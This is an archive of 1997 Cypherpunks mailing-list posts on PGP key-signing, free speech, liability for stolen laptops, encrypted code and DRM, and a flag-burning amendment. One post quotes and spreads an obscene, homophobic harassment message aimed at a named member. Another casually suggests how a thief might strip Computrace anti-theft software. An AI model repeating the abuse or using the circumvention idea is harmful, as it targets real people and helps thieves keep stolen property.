WNdUF4GtzAAMtMh2mJG60vhCi81Nt6Dhb7vGIeS8WhvI7a3iSxiYzj+BoA54UqNR
vdi2u9CjXQ4=
=6L95
-----END PGP SIGNATURE-----






From bennett_t1 at popmail.firn.edu  Wed Jun 11 20:23:09 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Thu, 12 Jun 1997 11:23:09 +0800
Subject: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <339F56B1.75C9@popmail.firn.edu>



Tom McClanahan wrote:
> 
> I would like to be on your mailing list.
> 
> minuteman at fuse.net
> 
> Thank you.
IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
list.







From whgiii at amaranth.com  Wed Jun 11 21:03:18 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 12:03:18 +0800
Subject: mailing list
In-Reply-To: <339F56B1.75C9@popmail.firn.edu>
Message-ID: <199706120350.WAA13493@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <339F56B1.75C9 at popmail.firn.edu>, on 06/11/97 
   at 08:53 PM, bennett_t1 at popmail.firn.edu said:

>Tom McClanahan wrote:
>> 
>> I would like to be on your mailing list.
>> 
>> minuteman at fuse.net
>> 
>> Thank you.
>IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
>list.

Considering some of the posts I'v seen he should fit right in. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM59zFI9Co1n+aLhhAQH2rAQAjK6UKwhdHR4At/9kclRvShsPrB16cGeh
Svlsa3M0Jr1HG3jbwUmW6FsetLsNMHrCbYrbx7BFo8Uk3TydpVLP/nSascCPcLvR
e4I6WXoZlff0cYtzxIQa9smdn3Us9e6xkWC8gArWxrQGF5cCgIXgOR9oNpdx0COZ
VFsnq4gwPz4=
=AjYU
-----END PGP SIGNATURE-----






From azur at netcom.com  Wed Jun 11 21:18:53 1997
From: azur at netcom.com (Steve Schear)
Date: Thu, 12 Jun 1997 12:18:53 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: 
Message-ID: 



>On Tue, 10 Jun 1997, Steve Schear wrote:
>
>> All prohibition of speech should be based on the judgement of whether or
>> not specific individiuals (not general groups or socienty at large) can be
>> reasonably be deduced to be at immediate risk or be harmed from that speech.
>
>So, if "speech" can cause individuals in X to harm individuals in Y, there
>is reason to prohibit it.

Only if the risk is immediate.

>
>> I find lust to be a noble urge.
>

My ideas originate above my limbic system.

Then you've undoubtedly removed yourself from the gene pool ;-)

[snip]
>The information on how to do demolition is available from the army, and
>the ingredients were commonly available.  As was the truck he used to
>transport it.  We can prevent many fires by an outright ban on gasoline.
>
>What item, if banned, would have prevented the act?

None that wouldn't adversely impact legitimate activities.

>
>> >But I would not want to have someone leave the two components to a binary
>> >nerve gas on a shelf...
>>
>> Now you've transgressed from speech to possession.
>
>I thought libertarians thought any mere possession should not be a crime.

I don't have any problem with sales high-performance autos, or for that
matter possession of substances or machanisms as long as any citizen who
can demonstrate (anonymously) to a regulatory agency that they understand
the use of such items can keep them.

>> >This form of "information" is an addictive drug, with the side effect is
>> >that it destroys others much more than it destroys the abuser,
>>
>> Can you back up this assertion with clinical data?
>
>Not off hand.  I also cannot back up the statement that I will die if I
>drink a particular poison (since I may have a particular immunity) without
>conducting the test.  Can you suggest how we may conduct such a test on
>kiddie porn without threatening children?

No, but I think those who suggest such restrictions should be forced to
personally fund such research.

>
>No, I am an autoarchist not an anarchist.  I belive in self-control which
>is the difference between liberty an license.  If liberty is given to
>barbarians it will be lost for everyone.

Liberty never given its won or taken.

Self-control is too nebulous, for me I prefer responsibility.

>
>I want cryptography available even though it makes child-porn easier to
>hide for the same reason I want gasoline available although it makes arson
>easier to commit.  But I do not have to be pro-arson to be pro-gasoline.
>
>And I can differentiate between ideas (which are protected free speech),
>and things without any such content.

Ideas are not protected speech, since they only exist in the mind, only
expressions are protected.  As I stated earlier, all expressions (however
objectionable they may be to some or many members of society) deserve
protection, unless they immediately threaten (or server to incite others to
threaten) the physical well being of specific individuals or groups.  Porn
and instructions for making conventional or weapons of mass distruction
should not be regulated.

--Steve








From tcmay at got.net  Wed Jun 11 21:44:31 1997
From: tcmay at got.net (Tim May)
Date: Thu, 12 Jun 1997 12:44:31 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: <199706112323.QAA12560@peregrine.eng.sun.com>
Message-ID: 



["cypherpunks-announce at toad.com" deleted as that is really not a list for
discussions.]


At 4:23 PM -0700 6/11/97, Ed Falk wrote:

>Hi all; I haven't seen the agenda yet, but if there is time & interest,
>I would be willing to organize a PGP key-signing party.
>
>Signify interest by mailing your key -- or a pointer to it -- to me
>by Friday.  Come to the c'punks meeting with photo ID and your PGP
>fingerprint.

"Sigh." Why do people persist in thinking that a photo ID is useful for PGP
keysignings?

I view a keysigning as saying that the person I know as "Lucky Green" is
asking me to sign the key he presents as his key, not whether Missouri
issued him a driver's license in that name, nor whether the company he
worked for in Munich issued him a photo ID under than name.

This is what the "web of trust" is all about.  It is _not_ about True Names
as proved by photo IDs.

(However, for those lacking photo IDs sufficient for Ed's purposes, I'm
asking Eric Hughes (not his True Name) if I can borrow his badge laminator.
I'll set it up outside the keysigning room. Bring a photo of some sort and
I'll make you a Yoyodyne Corporation employee badge.)

--Tim May (not his True Name)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Wed Jun 11 22:19:27 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 12 Jun 1997 13:19:27 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: 
Message-ID: <19970611221203.50854@bywater.songbird.com>



On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> Ideas are not protected speech, since they only exist in the mind, only
> expressions are protected.

Actually, expression is heavily encumbered with state mechanism, since
it is expression that is "protected" by copyright.  Ideas are also
encumbered by the state, through patent law.  The whole notion of
expression and ideas as property is purely sustained by the state.  

> As I stated earlier, all expressions (however
> objectionable they may be to some or many members of society) deserve
> protection, unless they immediately threaten (or server to incite others to
> threaten) the physical well being of specific individuals or groups.  Porn
> and instructions for making conventional or weapons of mass distruction
> should not be regulated.

It seems to me that your penultimate sentence contradicts your last 
sentence. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From dlv at bwalk.dm.com  Wed Jun 11 22:22:06 1997
From: dlv at bwalk.dm.com (Timmy May)
Date: Thu, 12 Jun 1997 13:22:06 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



Tim May  writes:
> (However, for those lacking photo IDs sufficient for Ed's purposes, I'm
> asking Eric Hughes (not his True Name) if I can borrow his badge laminator.

Is that the long-haired guy I had a dinner with once?  How time flies.

- Timmy May

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From real at freenet.edmonton.ab.ca  Wed Jun 11 22:32:43 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 12 Jun 1997 13:32:43 +0800
Subject: [IMPORTANT] e$
In-Reply-To: <199706120220.TAA03032@fat.doobie.com>
Message-ID: 



On Wed, 11 Jun 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> May Tim C[ocksucker] May's forgeries get stuck up 
> his ass so he'll have to shit through his filthy 
> mouth for the rest of its miserable life.
> 
>         \\\
>         {OQ} Tim C[ocksucker] May
>          (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From alan at ctrl-alt-del.com  Wed Jun 11 22:36:04 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Thu, 12 Jun 1997 13:36:04 +0800
Subject: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <3.0.2.32.19970611221920.040ea5a0@mail.teleport.com>



At 06:36 PM 6/11/97 -0400, Tom McClanahan wrote:
>
>I would like to be on your mailing list.

Which list would that be?

There is the list I run dealing with Perl. (Incredibly technical and high
volume.)

There is the local Portland version of the Cypherpunks list.  (mostly dead.)

There is the list for disgruntled ex-employees of a company I used top work
for.  (Completely dead.)

There is the list for the board of directors and co-conspiritors of a not
for profit corporation.  (Maybe should be dead.)

Or maybe you meant THIS list...

Find a book on mailing lists and look up information of "subscribing".  (It
is next to the information on "circumcision".)

>minuteman at fuse.net

Oh... So you are on a short fuse...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From kent at songbird.com  Wed Jun 11 22:46:41 1997
From: kent at songbird.com (Kent Crispin)
Date: Thu, 12 Jun 1997 13:46:41 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <19970611223934.43941@bywater.songbird.com>



On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
[...]
>The end buyer should not be held responcible for the illegal activities of
>the seller.

Regardless of responsibility, if the original owner can prove it is
stolen goods, the end buyer is out of luck -- clearly the original
owner should get their goods back.  And if the end buyer provably has
clear knowledge that it is stolen property, they are an accesssory to
the crime. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From ichudov at Algebra.COM  Thu Jun 12 00:06:12 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Thu, 12 Jun 1997 15:06:12 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11167@mailhub.amaranth.com>
Message-ID: <199706120659.BAA01819@manifold.algebra.com>



William H. Geiger III wrote:
> In <199706112341.QAA05443 at mat.wcs.net>, on 06/11/97 
>    at 05:22 PM, "Raymond Mereniuk"  said:
> 
> >I assume most notebooks which are recovered are found to be in the  hands
> >of a buyer rather than the person responsible for the actual  theft. 
> >But, the eventual buyer is indirectly responsible for the  initial theft
> >of the notebook.
> 
> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> find out if it was reported stolen (if they even keep such records).
> Should I have to call the manufacture every time I buy a some used
> equipment? Perhaps I should have a background check done before I buy
> anything.
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.

According to the law as I understand it, the stolen goods must be
returned to the original owner with no compensation from the owner. But
the buyer can, in theory, sue the seller (thief) for breach if the
implied warranty of title.

Is that correct?

	- Igor.






From jehill at w6bhz.calpoly.edu  Thu Jun 12 00:15:21 1997
From: jehill at w6bhz.calpoly.edu (Joshua E. Hill)
Date: Thu, 12 Jun 1997 15:15:21 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706120709.AAA05445@hyperion.boxes.org>



Tim May said:
> "Sigh." Why do people persist in thinking that a photo ID is useful for PGP
> keysignings?
Because _these_ people _are_ binding true names to keys.  That's what
_this_ is about.  

These people are saying "I know of sufficient proof that this 
person is who they say they are".  You can do this with a person 
you know without the aid of photo id, even if the "true name" isn't 
in the key. Alternatively, (as is the case here) you can verify the 
identify of unknown people with sufficient photo id.

And so each person becomes their own Verisign...

That sounds a lot like the web of trust... each person assigns a
certain amount of trust to others... If I believe that Joe makes 
absolutely certain that any key he signs is valid then I assign him
a high trust.  If Joe chooses to sign somebody's key because he saw
five forms of ID and did a credit check, spiffy.  If Joe signs a
key because it happens to be his brother, even better.  But the point
is that I trust Joe.

How people choose to verify other's identity is somewhat irreverent.  
More important, I think, is the question of who to trust.  So Tim,
if you think that photo ID is a poor method of verifying someone's
identity, doesn't sign a key on that alone.  Also make sure that the
people you assign trust to have the same ideas about photo id.

For others who don't share your thoughts on this matter, they can feel
free to trust photo ID.  And still others can trust them (thus trusting
photo ID by proxy)... But that's what the web of trust is about.  Each
person can trust different things (and people)...  I think that's what
makes the web of trust so flexible.  Each person is free to choose who
and what they trust.

				Josh

-----------------------------Joshua E. Hill-----------------------------
|         You never find a lost article until you replace it.          |
------------------------jehill at w6bhz.calpoly.edu------------------------






From shamrock at netcom.com  Thu Jun 12 00:20:02 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 12 Jun 1997 15:20:02 +0800
Subject: New key for shamrock@netcom.com
Message-ID: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----

C'punks,

I am preparing to retire my old 1024 bit RSA key. It was generated 1/14/1993 
and good key hygiene suggests it is time to retire this key. What better time 
to generate a new key than now that PGP has moved away from shaky MD-5 and 
patent encumbered RSA to DSS and DH.

I would ask anyone that signed my old key to please sign my new key with 
fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

The key is on the servers.

Thanks,
- --Lucky

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5+iUwSQkem38rwFAQFQPAP/U8Ck6CYQUJI8W/TEf3BQDW1XF0YmYsF1
GcuIp9fYQnRXdB7fKdYvzSffaSs/N5TCjmyeqpTyuE9c7nFqIlu6L+iHoiwdaFdj
UR3DBesS1BpmA71kRKzyt3bue1qttz+dhbhcQFd421sPzkqA7gSkOaQzP1ujspI7
mNS8FH9LyGs=
=hwfW
-----END PGP SIGNATURE-----

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From tcmay at got.net  Thu Jun 12 00:32:41 1997
From: tcmay at got.net (Tim May)
Date: Thu, 12 Jun 1997 15:32:41 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: 



At 10:22 AM -0700 6/11/97, Raymond Mereniuk wrote:

>I assume most notebooks which are recovered are found to be in the
>hands of a buyer rather than the person responsible for the actual
>theft.  But, the eventual buyer is indirectly responsible for the
>initial theft of the notebook.

I could not disagree more.

The buyer of some item, be it a laptop or a bicycle or a painting, is not
"responsible" in any way for actions taken by others at earlier times,
unless he speciffically commission a theft (as happens in some markets).

It may be that the buyer of some item may have taken away from him, as the
item was in fact stolen property within some reasonable time window (*),
but this has nothing whatsover to do with the buyer of some item being
"indirectly responsible" for the theft.

(* I mention "reasonable time window" because there are moves afoot to try
to have 50-year-old purchases of art negated, because of allegations of
Nazi looting.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From die at pig.die.com  Thu Jun 12 00:41:40 1997
From: die at pig.die.com (Dave Emery)
Date: Thu, 12 Jun 1997 15:41:40 +0800
Subject: PKCS-11 vs. CDSA APIs
In-Reply-To: <3.0.2.32.19970611230521.03bfe44c@netcom13.netcom.com>
Message-ID: <199706120731.DAA04752@pig.die.com>



Lucky Green wrote :

> 
> Furthermore, as William has mentioned in the past, encrypted instruction
> sets make decompiling and thereby reverse engineering the application next
> to impossible.

	Perhaps he has, but I believe I was the one to post about it
first.

	As you know, my fear is magic stuff in OS inner rings that
enforces social policies and perhaps also provides "sovereign right of
lawful access" to you know who...

	Encrypted code may be very difficult to decrypt, and if the OS
controls key management also nearly impossible to modify (presuming that
the encryption is not just XOR'd with the instruction stream  which
would allow trivial modification once the instructions were decrypted). 
That combination is nice for copyright enforcement, but sure has some
nasty other uses and is a fundemental enabling technology for such
future statist possiblities as restrictions on running modified or
unapproved software without a license to do so - a software developers
license say, or the old Internet drivers license. 

	I am sure that many businesses would be very happy if all their
PCs would only allow software that management approved to run - there
would be a huge market for such in fact... and probably a lot of the
public would willingly buy machines that would only run approved
software if they could pay less for the software or access first run
movies or other candy unavailable on free machines.

	It is really hard to think of a way of controlling what  the
sheeple do with their computers that does not depend on  hard encrypted
code in both OS and application - code that is decrypted only inside the
silicon of the CPU with precautions taken to make access to the
decrypted streams very difficult and expensive for hardware probers. 
Years of trying other methods have failed to produce something practical
from a cost and security standpoint; there are just too many smart and
persistant people around who will find a means of attacking anything
that is exposed.   

	But it is also obvious that there are billions of dollars in
revenue lost to software  pirates and additional sales of copyright works
that don't happen because the owners aren't happy if it is even remotely
possible to obtain pirate copies.  And money talks, and with those levels
of dollars involved one can expect a lot of things to happen, especially
in the current DC climate, and with the possiblity that such technology
will both provide the protection of intellectual property that the
big money interests want and the social control and surveillance that
the fascists want.

	The good part is that making the whole thing adaquately secure
is very hard and the attempt may fail,  the bad thing is that there very
well may be draconian laws that make any attempt to understand or 
modify the code running on one's computer a serious felony and people
may be locked up for years for just trying to determine what a program
is doing to them.  There have already been attempts to create these
laws.

	But I've said much of this before...

							Dave Emery
							die at die.com
							Weston, Mass.






From whgiii at amaranth.com  Thu Jun 12 05:17:08 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 20:17:08 +0800
Subject: New key for shamrock@netcom.com
In-Reply-To: <3.0.2.32.19970612001637.00754e4c@netcom13.netcom.com>
Message-ID: <199706121201.HAA17369@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970612001637.00754e4c at netcom13.netcom.com>, on 06/12/97 
   at 12:16 AM, Lucky Green  said:


>C'punks,

>I am preparing to retire my old 1024 bit RSA key. It was generated
>1/14/1993  and good key hygiene suggests it is time to retire this key.
>What better time  to generate a new key than now that PGP has moved away
>from shaky MD-5 and  patent encumbered RSA to DSS and DH.

>I would ask anyone that signed my old key to please sign my new key with 
>fingerprint 4A17 A6D7 8E80 3B44 C196  F509 8971 9FA7 B663 B0FD.

>The key is on the servers.

>Thanks,
>--Lucky

Hi Lucky,

I hope that you generated a new RSA key also or I would hang onto that old
key. While DSS & DH are supported in PGP 5.0 it is not by the rest of us.
I have a feeling that PGP Inc. users will have to keep 2 keys for awhile
now.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/mN49Co1n+aLhhAQERZAP+JtJ+M/t3NVdGPO6xutHYcG2gUqd3kv7u
0IWXOunjqC/b6ehSXBkoX2aF5BrCPCtV0CldeSRWqP40F4EZJ1G1qGWhxGIMQLB3
2QT94P9y5lCQyOnJPfOqvAxsMAsvKEn97mmEYGnCHbivCLN2+X3+Mbk4adG5AcAW
qf/WGPhuEsQ=
=LaLy
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Thu Jun 12 05:24:23 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 20:24:23 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <19970611223934.43941@bywater.songbird.com>
Message-ID: <199706121218.HAA17552@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <19970611223934.43941 at bywater.songbird.com>, on 06/11/97 
   at 10:39 PM, Kent Crispin  said:

>On Wed, Jun 11, 1997 at 09:37:42PM -0500, William H. Geiger III wrote:
>[...]
>>The end buyer should not be held responcible for the illegal activities of
>>the seller.

>Regardless of responsibility, if the original owner can prove it is
>stolen goods, the end buyer is out of luck -- clearly the original owner
>should get their goods back.  And if the end buyer provably has clear
>knowledge that it is stolen property, they are an accesssory to the
>crime. 

I have no problem with the original owner getting his property back though
a reasonable statue of limitations should be set (7 yrs?).

Well "clear knowledge" is a rather tough one to prove and brings you into
gray areas of "well he *should* have known it was stolen" type of logic.
IMHO any criminal prosecution should be based on additional evidence other
than just possesion of the property and the word of an admitted felon (ie
the thief).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/qF49Co1n+aLhhAQFqKQP9GDcJsUFxvAkY/W/DcR544WAx0YM/FeZY
l8WA07RW1cKmRKr4cr3VZB8uokTiNuzFS9JE9pbhOjZvPo9mVZvorLgjLHmwvkxG
dOB8fMMIGAcCIRNbejBuS2sNiDCwDIeNm7Gra9a8PSuMwZfEsq03o3z67lpJIcai
su9L2zrVTlY=
=hHJo
-----END PGP SIGNATURE-----






From adam at homeport.org  Thu Jun 12 05:30:26 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 12 Jun 1997 20:30:26 +0800
Subject: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: 
Message-ID: <199706121208.IAA16778@homeport.org>



| 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
| 
|         Counterpoint: Ban Flag Burning?
| 
|         It's baaaack.....! The House is set to vote June 12 on
| 	a proposed amendment to the Constitution that would
| 	ban flag desecration. Democratic Rep. William
| 	Lipinksi, a lead sponsor, says the flag is too
| 	important a symbol not to be protected, while ACLU
| 	executive director Ira Glasser warns against
| 	weakening the First Amendment.

	Would a Flag Burning Ammendment give the court clear guidance
that other offensive speech, not ammended against, is now more ok?

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From dave at bureau42.ml.org  Thu Jun 12 05:50:09 1997
From: dave at bureau42.ml.org (David E. Smith)
Date: Thu, 12 Jun 1997 20:50:09 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706112341.QAA05443@mat.wcs.net>
Message-ID: 



On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

> This has been discussed on this list before, about 1 year ago.  The 
> Computrace software is installed on a place on the hard drive where 
> DOS utilities like Fdisk and Format can not get at it.  This is the 
> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
> remove this version of Diskmanager.

There you go, assuming DOS is the centre of the universe again.
I haven't seen this, but there's a pretty good chance that reformatting
the hard disk as a Linux partition and installing LILO would clean
that nuisance right up.  (If it didn't, you could probably just
use your favorite disk editor to find the Computrace code and zero
it out.)

OC this is all above the means of the average laptop thief, but the
dedicated ones probably have a staff techie.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)







From whgiii at amaranth.com  Thu Jun 12 06:12:07 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 12 Jun 1997 21:12:07 +0800
Subject: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: 
Message-ID: <199706121302.IAA18075@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/12/97 
   at 07:50 AM, "David E. Smith"  said:

>On Wed, 11 Jun 1997, Raymond Mereniuk wrote:

>> This has been discussed on this list before, about 1 year ago.  The 
>> Computrace software is installed on a place on the hard drive where 
>> DOS utilities like Fdisk and Format can not get at it.  This is the 
>> same as Diskmanager Version 7 or higher, Fdisk and Format will not 
>> remove this version of Diskmanager.

>There you go, assuming DOS is the centre of the universe again. I haven't
>seen this, but there's a pretty good chance that reformatting the hard
>disk as a Linux partition and installing LILO would clean that nuisance
>right up.  (If it didn't, you could probably just use your favorite disk
>editor to find the Computrace code and zero it out.)

>OC this is all above the means of the average laptop thief, but the
>dedicated ones probably have a staff techie.

I would imagine that some enterprising programmer will write a program
that removes this crap from the users HD.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5/0XY9Co1n+aLhhAQHApwQAyhPjOudMdxooIJn0u6eHar6W9GN2UHCq
T1kOkfBmbtPk4AQ7R5UB7tuZCrJX8rsZuk8q8pWVQ/lKvVSAPJ/8LTBNWdilHQlC
3pvglNXOIRvNKmJPHThCdnTY0yuwnHLuk7BuhDx/tPS1yMZtdEc1D8Zvu2C1rJBp
mOffghXFm0o=
=WSu3
-----END PGP SIGNATURE-----






From jya at pipeline.com  Thu Jun 12 06:12:18 1997
From: jya at pipeline.com (John Young)
Date: Thu, 12 Jun 1997 21:12:18 +0800
Subject: Privacy Strategems
Message-ID: <1.5.4.32.19970612125024.0099affc@pop.pipeline.com>



The New York Times has a long report today on the
massive data banks about US citizens operated by
commercial services for sale to marketers (and used
by databankers for special ops against those who sue 
them).

Emphasis is given to the number of states that sell
low-cost inmate services for data entry and preparation
of hot-selling Geographical Information Surveys which
map and stat in minute detail the life-style preferences
of purchasers. And how sharp and horny inmates snatch 
select data for criminal attacks on unwary citizens (and their
children) who cooperatively provided personal information 
to government agencies and market researchers.

Texas is featured as a leader in the privatization of
government data and using inmate labor to underbid
offshore sweatshop competitors -- all engendered
by citizen demands to reduce tax burdens.

Another report covers the Microsoft/Netscape effort
to ward off government regulation by agreeing on a
privacy protection program.

It's not clear how government and inmates will join the two
public-spirited corps in peddling the illusion of privacy.







From dlv at bwalk.dm.com  Thu Jun 12 06:33:03 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 12 Jun 1997 21:33:03 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <19970611221203.50854@bywater.songbird.com>
Message-ID: <4PR78D89w165w@bwalk.dm.com>



Kent Crispin  writes:

> On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> > Ideas are not protected speech, since they only exist in the mind, only
> > expressions are protected.
>
> Actually, expression is heavily encumbered with state mechanism, since
> it is expression that is "protected" by copyright.  Ideas are also
> encumbered by the state, through patent law.  The whole notion of
> expression and ideas as property is purely sustained by the state.

Yes - "copyright" is a pretty recent invention.  I don't like it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From declan at well.com  Thu Jun 12 06:34:24 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 12 Jun 1997 21:34:24 +0800
Subject: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: 



Jut woke up, but I would argue "no." This would be the first
constitutional weakening of the First Amendment ever. Hardly a move that
strengthens free speech protections. 

-Declan


On Thu, 12 Jun 1997, Adam Shostack wrote:

> | 	http://www.allpolitics.com/1997/gen/analysis/counterpoint/
> | 
> |         Counterpoint: Ban Flag Burning?
> | 
> |         It's baaaack.....! The House is set to vote June 12 on
> | 	a proposed amendment to the Constitution that would
> | 	ban flag desecration. Democratic Rep. William
> | 	Lipinksi, a lead sponsor, says the flag is too
> | 	important a symbol not to be protected, while ACLU
> | 	executive director Ira Glasser warns against
